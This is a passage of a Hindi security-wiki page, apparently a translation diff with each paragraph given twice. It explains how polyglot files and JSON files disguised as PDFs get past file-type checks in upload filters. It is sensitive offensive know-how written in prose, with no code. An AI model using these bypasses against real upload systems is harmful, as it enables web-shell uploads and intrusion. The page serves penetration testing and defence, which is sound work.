पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है कि वे प्रकार के आधार पर फ़ाइलों को स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों के अनुसार होता है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
Polyglot फ़ाइलों की मुख्य उपयोगिता इस क्षमताओं में निहित है कि वे उन सुरक्षा उपायों को बाईपास कर सकती हैं जो फ़ाइलों को उनके प्रकार के आधार पर स्क्रीन करते हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा यह होती है कि केवल कुछ फ़ाइल प्रकारों को upload की अनुमति दी जाती है — जैसे JPEG, GIF, या DOC — ताकि संभावित हानिकर फ़ॉर्मैट्स (उदा., JS, PHP, या Phar फ़ाइलें) से जोखिम कम किया जा सके। हालांकि, एक polyglot कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों का पालन करके इन प्रतिबंधों को चुपके से बाइपास कर सकता है।
हालांकि उनकी अनुकूलता के बावजूद, पॉलीग्लॉट सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमेय एक्सटेंशनों के बारे में सख्त है, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अपनी अनुकूलता के बावजूद, polyglots को सीमाएँ भी आती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR फ़ाइल (PHp ARchive) और JPEG दोनों हो सकती है, इसकी upload की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के प्रति सख्त है, तो केवल संरचनात्मक द्वैत होने से polyglot का अपलोड सुनिश्चित नहीं होगा।
अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### वैध JSON को PDF की तरह अपलोड करें
### PDF जैसा दिखाकर valid JSON अपलोड करना
कैसे फ़ाइल प्रकार की पहचान से बचें और एक वैध JSON फ़ाइल अपलोड करें, भले ही अनुमति न हो, एक PDF फ़ाइल का नकल करके (तकनीकें **[इस ब्लॉग पोस्ट](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** से):
PDF फ़ाइल बनाकर यह दिखाकर कि यह PDF है, अनुमति न होने पर भी वैध JSON फ़ाइल अपलोड करके file type detections से कैसे बचा जा सकता है (तकनीकें **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** से):
- **`mmmagic` लाइब्रेरी**: जब तक पहले 1024 बाइट्स में `%PDF` मैजिक बाइट्स हैं, यह वैध है (पोस्ट से उदाहरण प्राप्त करें)
- **`pdflib` लाइब्रेरी**: JSON के एक फ़ील्ड के अंदर एक नकली PDF प्रारूप जोड़ें ताकि लाइब्रेरी इसे PDF समझे (पोस्ट से उदाहरण प्राप्त करें)
- **`file` बाइनरी**: यह एक फ़ाइल से 1048576 बाइट्स तक पढ़ सकता है। बस एक JSON बनाएं जो उससे बड़ा हो ताकि यह सामग्री को JSON के रूप में पार्स न कर सके और फिर JSON के अंदर एक असली PDF का प्रारंभिक भाग डालें और यह सोचेगा कि यह एक PDF है
- **`mmmagic` library**: जैसा कि `%PDF` magic bytes पहले 1024 bytes में होते हैं तो यह valid माना जाता है (उदाहरण पोस्ट में देखें)
- **`pdflib` library**: JSON के एक filed में fake PDF format डालें ताकि library इसे pdf समझे (उदाहरण पोस्ट में देखें)
- **`file` binary**: यह फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बना दें ताकि यह इसे json के रूप में पार्स न कर सके और फिर JSON के अंदर एक वास्तविक PDF का प्रारंभिक हिस्सा रख दें और यह इसे PDF समझ लेगा
## संदर्भ
@ -322,5 +327,6 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}